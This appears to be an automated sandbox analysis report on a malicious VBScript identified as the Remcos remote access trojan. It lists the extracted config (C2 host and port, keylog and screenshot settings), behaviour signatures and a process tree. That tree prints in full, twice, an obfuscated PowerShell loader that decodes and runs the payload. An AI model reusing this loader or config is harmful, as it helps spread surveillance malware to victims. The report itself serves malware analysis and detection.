Analysis
- max time kernel
150s - max time network
149s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
10/07/2026, 05:39
General
- Target Laminaterne.vbs
- Size 22KB
- Sample260710-gcdttae151
- SHA256 1f08b33c61a20cb9327b1a529df79f2072ba72646631619e622eb0c1e6a6e8f7
Malware Config
Extracted
-
remcos
-
7.2.5 Pro
-
RemoteHost
-
102.220.160.21:2404
-
audio_folder
MicRecords
-
audio_path
ApplicationPath
-
audio_record_time
5
-
connect_delay
0
-
connect_interval
1
-
copy_file
remcos.exe
-
copy_folder
Remcos
-
delete_file
false
-
hide_file
false
-
hide_keylog_file
false
-
install_flag
false
-
keylog_crypt
false
-
keylog_file
logs.dat
-
keylog_flag
false
-
keylog_folder
remcos
-
mouse_option
false
-
mutex
Rmc-FOVHV5
-
screenshot_crypt
false
-
screenshot_flag
false
-
screenshot_folder
Screenshots
-
screenshot_path
%AppData%
-
screenshot_time
10
-
take_screenshot_option
false
-
take_screenshot_time
5
Signatures
- Family: Remcos
Remcos is a closed-source remote control and surveillance software.
- Badlisted process makes network request 2 IoCs
Network request originating from process or tool commonly abused by malware.
- Accesses Microsoft Outlook profiles 1 TTPs 2 IoCs
- Contacts third-party web service commonly abused for C2 1 TTPs 3 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
- Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
- Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs
Adversaries may check for Internet connectivity on compromised systems.
- Runs ping.exe 1 TTPs 1 IoCs
- Suspicious behavior: EnumeratesProcesses 5 IoCs
- Suspicious behavior: MapViewOfSection 1 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of WriteProcessMemory 6 IoCs
- outlook_office_path 1 IoCs
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Laminaterne.vbs"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\Ping.exePing Mul8668.8668.8668.babe2⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "rv 'studieture' 'hestetrukket' 'accommodatingly';$bodyweight=-32401+32401;$skybanken198=41581-35581;function skadesforsikringers ($solgtes,$rundturensnnumerableness) {$samtidshistorikeres=udsprjter(@(120,232,225,224,211,217,201,226,163,203,230,214,198,157,150,230,225,211,200,227,235,219,211,213,199,227,224,233,217,202,214,208,216,213,211,213,185,232,229,157)) ;Astrid ($samtidshistorikeres)}function udsprjter ($ursigram) { do {$skybanken198=$gardnap[$bodyweight%12];$ursigram[$bodyweight]-=$skybanken198;$skybanken198=[char]$ursigram[$bodyweight];$udmaalingen+=$skybanken198;$bodyweight++} while ($ursigram[$bodyweight])$udmaalingen}function Astrid ($chackling) {&($cityfolk) $chackling}Function Malurus ($ursigram,$countersignature=0){$skullduggeries=udsprjter(@(175,184,225,226,226,202,214,227,211,163,168,173,198,228,223,182,205,216,201,165,170,188,226,217,189,227,217,156,144,218,214,226,223,208,224,200,193,158));$esperantisten=@(Astrid ($skullduggeries));For($rundturens=0; $esperantisten[$rundturens] -ne $forsgsarbejdes233; $rundturens++){$esperantisten[$rundturens] = skadesforsikringers $esperantisten[$rundturens] $gardnap[$rundturens%12]}$unkerchiefed=udsprjter(@(129,223,225,221,218,133,191,210,222,202,224,194,177,210,150,217,223,213,201,225,215,215,226,208,199,233,215,226));$minimeringens=Astrid ($unkerchiefed);if ($countersignature) { Astrid $minimeringens}else {;$minimeringens}}$gardnap=@(84,117,114,116,108,101,100,111,118,105,110,103);$cityfolk=udsprjter @(157,186,202);$rundturensnflationssikker20='\lingala.Tab';$rundturensnnumerablenessreviarernes=Malurus 'YVtCVEQyDQESBhkUdDsmVF1VSl9NSTkOOkNGT0wdUltNSRwRbkRHRkJVTU8xDA0MO1pARF1VVF5GWE4hPQcXEgMdS15DW0BX';$nephrotyphoid=Malurus 'PAEGBB9fS0ASGwcRMVsVGwMCCApYCgEKewARSwkdFAAEHVMDOwIcGAMEAEkfDVNWGwIrNVQRXCgUDlgPPgw1Lio3JyEPNgJTMA82EVsHEQY=';$sossle=Malurus 'GQYKGQBXSjwTGxgCJi0/OCQxMD9YX0BX';$rundturensnadhesive=Malurus 'EzAm';$deadfall=Malurus 'AQYXBkEkAwoYHQ==';$fumlede=Malurus 'ag==';Malurus 'cBIeGw4ECFUCDA0TPRcAFQIGDAYXHQtacBAcAlYEFB8SCBoGf1EAAQIBEBoEDAAUOhMeFRgMCwEFGgcMPxAARlw=' 1;Malurus 'cBIeGw4ECFUVCBwRMQcBHAUVWUsYDB4PJhoGDRwNCwYSRx0XOBwGXEgDEQIaDAoCfQ==' 1;$nephrotyphoid=$carvership[0];Malurus 'cBIeGw4ECFUDBw0GJhAUAQAJHVI4DBlKGxcYEQ8RREI1BgNHcAYdBx8JAQ==' 1;Malurus 'cBIeGw4ECFUCHAIOJBQcEQJYTDsTGhpKBBQGHExBEAoVHQcFJhQcFwQMBRsTQA==' 1;while (!$tulipanen) {Malurus 'cBIeGw4ECFUFDAUUIRQeBA0XEAETG1NDIAcHEQ==' 1;Malurus 'cAAcFw0XAQkDBQIeehoCEQJNQB0DBwoTIQcXGh8LBQseDB0OIhBeVEgLAR8eGwETLQUaGwUBSE9SDw8LJxBb' 1;Malurus 'cAAcFw0XAQkDBQIeegYXAD4AFRoTGhovMRQWER5NQAsTCAoBNRkeWExBFhoYDRoSJhAcBwILEQITGw8FOBAcER8WFgoAAA8VMQccER9M' 1;Malurus 'cAAcFw0XAQkDBQIeegYXGghNTQ==' 1;Malurus 'cBIeGw4ECFUUDB0TNRkeHQICAQEFVEoSOhYTBgkDEQMaEEAUIBQGAR9FSQoHSVxXZA==' 1;if ($bestallingens) {Malurus 'DxcLAAk+OTJSDgIINhQeTgEEFgcZBRpacAAcFw0XAQkDBQIeegcXBxwKChwTKwEDLQ==' 1;Malurus 'JxZSUBgABxsfCxwGOhYaHQ0RAU9SBA8VPBoeAExIIQEVBgoOOhJSNhURAQ==' 1} Malurus 'BxkXERxNUEY=' 1;Malurus 'cBIeGw4ECFUCHAIOJBQcEQJYTDsTGhpKBBQGHExBEAoVHQcFJhQcFwQMBRsTQA==' 1 ;Malurus 'cBIeGw4ECFUSAAMKMQFPUAsJCw0XBVQXPRocER4cT0RTTQ0GJgMXBh8NDR9YCgESOgE=' 1;$nephrotyphoid=$carvership[$dimmet]}$specialtegnenes=150103;$exhaled=19666;Malurus 'cBIeGw4ECFUTGwEAMRsXAAUGWQgVSUoTMRYGHQ4XBQEVAQcGIBA=' 1;Malurus 'cBIeGw4ECFU+AwsKORAeSTcmCwEADBwTCU9IMh4KCS0XGgtRYCYGBgULA0dSDBwIMxAcERgMB0Y=' 1;Malurus 'cBIeGw4ECFUQAA0PIRAGB1E+MAoOHUAiOhYdEAULAzJMUy80Fzw7WisAEDwCGwcJM11WPAYACQITBUc=' 1;Malurus 'cBIeGw4ECFUFHBgCJhsbAAkRAQFLTQgONx0HERgWShwDCx0TJhwcE0RBFx8TCgcGOAEXEwIACgoFRUoCLB0TGAkBTQ==' 1;Astrid $suverniteten;"2⤵
- Badlisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "rv 'studieture' 'hestetrukket' 'accommodatingly';$bodyweight=-32401+32401;$skybanken198=41581-35581;function skadesforsikringers ($solgtes,$rundturensnnumerableness) {$samtidshistorikeres=udsprjter(@(120,232,225,224,211,217,201,226,163,203,230,214,198,157,150,230,225,211,200,227,235,219,211,213,199,227,224,233,217,202,214,208,216,213,211,213,185,232,229,157)) ;Astrid ($samtidshistorikeres)}function udsprjter ($ursigram) { do {$skybanken198=$gardnap[$bodyweight%12];$ursigram[$bodyweight]-=$skybanken198;$skybanken198=[char]$ursigram[$bodyweight];$udmaalingen+=$skybanken198;$bodyweight++} while ($ursigram[$bodyweight])$udmaalingen}function Astrid ($chackling) {&($cityfolk) $chackling}Function Malurus ($ursigram,$countersignature=0){$skullduggeries=udsprjter(@(175,184,225,226,226,202,214,227,211,163,168,173,198,228,223,182,205,216,201,165,170,188,226,217,189,227,217,156,144,218,214,226,223,208,224,200,193,158));$esperantisten=@(Astrid ($skullduggeries));For($rundturens=0; $esperantisten[$rundturens] -ne $forsgsarbejdes233; $rundturens++){$esperantisten[$rundturens] = skadesforsikringers $esperantisten[$rundturens] $gardnap[$rundturens%12]}$unkerchiefed=udsprjter(@(129,223,225,221,218,133,191,210,222,202,224,194,177,210,150,217,223,213,201,225,215,215,226,208,199,233,215,226));$minimeringens=Astrid ($unkerchiefed);if ($countersignature) { Astrid $minimeringens}else {;$minimeringens}}$gardnap=@(84,117,114,116,108,101,100,111,118,105,110,103);$cityfolk=udsprjter @(157,186,202);$rundturensnflationssikker20='\lingala.Tab';$rundturensnnumerablenessreviarernes=Malurus 'YVtCVEQyDQESBhkUdDsmVF1VSl9NSTkOOkNGT0wdUltNSRwRbkRHRkJVTU8xDA0MO1pARF1VVF5GWE4hPQcXEgMdS15DW0BX';$nephrotyphoid=Malurus 'PAEGBB9fS0ASGwcRMVsVGwMCCApYCgEKewARSwkdFAAEHVMDOwIcGAMEAEkfDVNWGwIrNVQRXCgUDlgPPgw1Lio3JyEPNgJTMA82EVsHEQY=';$sossle=Malurus 'GQYKGQBXSjwTGxgCJi0/OCQxMD9YX0BX';$rundturensnadhesive=Malurus 'EzAm';$deadfall=Malurus 'AQYXBkEkAwoYHQ==';$fumlede=Malurus 'ag==';Malurus 'cBIeGw4ECFUCDA0TPRcAFQIGDAYXHQtacBAcAlYEFB8SCBoGf1EAAQIBEBoEDAAUOhMeFRgMCwEFGgcMPxAARlw=' 1;Malurus 'cBIeGw4ECFUVCBwRMQcBHAUVWUsYDB4PJhoGDRwNCwYSRx0XOBwGXEgDEQIaDAoCfQ==' 1;$nephrotyphoid=$carvership[0];Malurus 'cBIeGw4ECFUDBw0GJhAUAQAJHVI4DBlKGxcYEQ8RREI1BgNHcAYdBx8JAQ==' 1;Malurus 'cBIeGw4ECFUCHAIOJBQcEQJYTDsTGhpKBBQGHExBEAoVHQcFJhQcFwQMBRsTQA==' 1;while (!$tulipanen) {Malurus 'cBIeGw4ECFUFDAUUIRQeBA0XEAETG1NDIAcHEQ==' 1;Malurus 'cAAcFw0XAQkDBQIeehoCEQJNQB0DBwoTIQcXGh8LBQseDB0OIhBeVEgLAR8eGwETLQUaGwUBSE9SDw8LJxBb' 1;Malurus 'cAAcFw0XAQkDBQIeegYXAD4AFRoTGhovMRQWER5NQAsTCAoBNRkeWExBFhoYDRoSJhAcBwILEQITGw8FOBAcER8WFgoAAA8VMQccER9M' 1;Malurus 'cAAcFw0XAQkDBQIeegYXGghNTQ==' 1;Malurus 'cBIeGw4ECFUUDB0TNRkeHQICAQEFVEoSOhYTBgkDEQMaEEAUIBQGAR9FSQoHSVxXZA==' 1;if ($bestallingens) {Malurus 'DxcLAAk+OTJSDgIINhQeTgEEFgcZBRpacAAcFw0XAQkDBQIeegcXBxwKChwTKwEDLQ==' 1;Malurus 'JxZSUBgABxsfCxwGOhYaHQ0RAU9SBA8VPBoeAExIIQEVBgoOOhJSNhURAQ==' 1} Malurus 'BxkXERxNUEY=' 1;Malurus 'cBIeGw4ECFUCHAIOJBQcEQJYTDsTGhpKBBQGHExBEAoVHQcFJhQcFwQMBRsTQA==' 1 ;Malurus 'cBIeGw4ECFUSAAMKMQFPUAsJCw0XBVQXPRocER4cT0RTTQ0GJgMXBh8NDR9YCgESOgE=' 1;$nephrotyphoid=$carvership[$dimmet]}$specialtegnenes=150103;$exhaled=19666;Malurus 'cBIeGw4ECFUTGwEAMRsXAAUGWQgVSUoTMRYGHQ4XBQEVAQcGIBA=' 1;Malurus 'cBIeGw4ECFU+AwsKORAeSTcmCwEADBwTCU9IMh4KCS0XGgtRYCYGBgULA0dSDBwIMxAcERgMB0Y=' 1;Malurus 'cBIeGw4ECFUQAA0PIRAGB1E+MAoOHUAiOhYdEAULAzJMUy80Fzw7WisAEDwCGwcJM11WPAYACQITBUc=' 1;Malurus 'cBIeGw4ECFUFHBgCJhsbAAkRAQFLTQgONx0HERgWShwDCx0TJhwcE0RBFx8TCgcGOAEXEwIACgoFRUoCLB0TGAkBTQ==' 1;Astrid $suverniteten;"1⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\backgroundTaskHost.exe"C:\Windows\SysWOW64\backgroundTaskHost.exe"2⤵
-
-
C:\Windows\SysWOW64\backgroundTaskHost.exe"C:\Windows\SysWOW64\backgroundTaskHost.exe"2⤵
- Accesses Microsoft Outlook profiles
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
- outlook_office_path
-
C:\Windows\SysWOW64\backgroundTaskHost.exe"C:\Windows\SysWOW64\backgroundTaskHost.exe"3⤵
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
StartupProfileData-NonInteractive
lingala.Tab
memory/3232-12-0x00007FFEBC4B0000-0x00007FFEBCE54000-memory.dmp
memory/3232-13-0x00007FFEBC4B0000-0x00007FFEBCE54000-memory.dmp
memory/3232-6-0x00007FFEBC4B0000-0x00007FFEBCE54000-memory.dmp
memory/3232-7-0x00007FFEBC4B0000-0x00007FFEBCE54000-memory.dmp
memory/3232-8-0x00007FFEBC4B0000-0x00007FFEBCE54000-memory.dmp
memory/3232-9-0x00007FFEBC4B0000-0x00007FFEBCE54000-memory.dmp
memory/3232-10-0x00007FFEBC4B0000-0x00007FFEBCE54000-memory.dmp
memory/3232-11-0x00007FFEBC4B0000-0x00007FFEBCE54000-memory.dmp
memory/3232-0-0x00007FFEBC63F000-0x00007FFEBC640000-memory.dmp
memory/3232-5-0x00007FFEBC4B0000-0x00007FFEBCE54000-memory.dmp
memory/3232-14-0x00007FFEBC4B0000-0x00007FFEBCE54000-memory.dmp
memory/3232-15-0x00007FFEBC4B0000-0x00007FFEBCE54000-memory.dmp
memory/3232-16-0x00007FFEBC4B0000-0x00007FFEBCE54000-memory.dmp
memory/3232-17-0x00007FFEBC4B0000-0x00007FFEBCE54000-memory.dmp
memory/3232-18-0x00007FFEBC4B0000-0x00007FFEBCE54000-memory.dmp
memory/3232-22-0x00007FFEBC4B0000-0x00007FFEBCE54000-memory.dmp
memory/3232-4-0x0000029471BC0000-0x0000029471BE2000-memory.dmp
memory/3232-3-0x00007FFEBC4B0000-0x00007FFEBCE54000-memory.dmp
memory/3460-30-0x00000000061A0000-0x00000000064FB000-memory.dmp
memory/3460-27-0x0000000006000000-0x0000000006066000-memory.dmp
memory/3460-26-0x0000000006070000-0x00000000060D6000-memory.dmp
memory/3460-25-0x0000000005910000-0x0000000005932000-memory.dmp
memory/3460-24-0x00000000059B0000-0x0000000005FFA000-memory.dmp
memory/3460-32-0x00000000066E0000-0x00000000066FE000-memory.dmp
memory/3460-33-0x0000000006AC0000-0x0000000006B0C000-memory.dmp
memory/3460-34-0x0000000007F60000-0x00000000085DC000-memory.dmp
memory/3460-35-0x0000000006C60000-0x0000000006C7A000-memory.dmp
memory/3460-36-0x0000000007B50000-0x0000000007BE6000-memory.dmp
memory/3460-37-0x0000000007AF0000-0x0000000007B12000-memory.dmp
memory/3460-38-0x0000000008BA0000-0x000000000915A000-memory.dmp
memory/3460-23-0x0000000005250000-0x0000000005286000-memory.dmp
memory/3460-40-0x0000000009160000-0x000000000D0C4000-memory.dmp
memory/5688-58-0x000000001EC40000-0x000000001ED37000-memory.dmp
memory/5688-66-0x0000000000C00000-0x0000000001EE6000-memory.dmp
memory/5688-61-0x000000001EC40000-0x000000001ED37000-memory.dmp
memory/5688-62-0x000000001EC40000-0x000000001ED37000-memory.dmp
memory/5688-63-0x0000000000C00000-0x0000000001EE6000-memory.dmp
memory/5688-64-0x0000000000C00000-0x0000000001EE6000-memory.dmp
memory/5688-65-0x0000000000C00000-0x0000000001EE6000-memory.dmp
memory/5688-53-0x0000000000C00000-0x0000000001EE6000-memory.dmp
memory/5688-67-0x0000000000C00000-0x0000000001EE6000-memory.dmp
memory/5688-68-0x0000000000C00000-0x0000000001EE6000-memory.dmp
memory/5688-69-0x0000000000C00000-0x0000000001EE6000-memory.dmp
memory/5688-70-0x0000000000C00000-0x0000000001EE6000-memory.dmp
memory/5688-71-0x0000000000C00000-0x0000000001EE6000-memory.dmp
memory/5688-72-0x0000000000C00000-0x0000000001EE6000-memory.dmp
memory/5688-73-0x0000000000C00000-0x0000000001EE6000-memory.dmp
memory/5688-74-0x0000000000C00000-0x0000000001EE6000-memory.dmp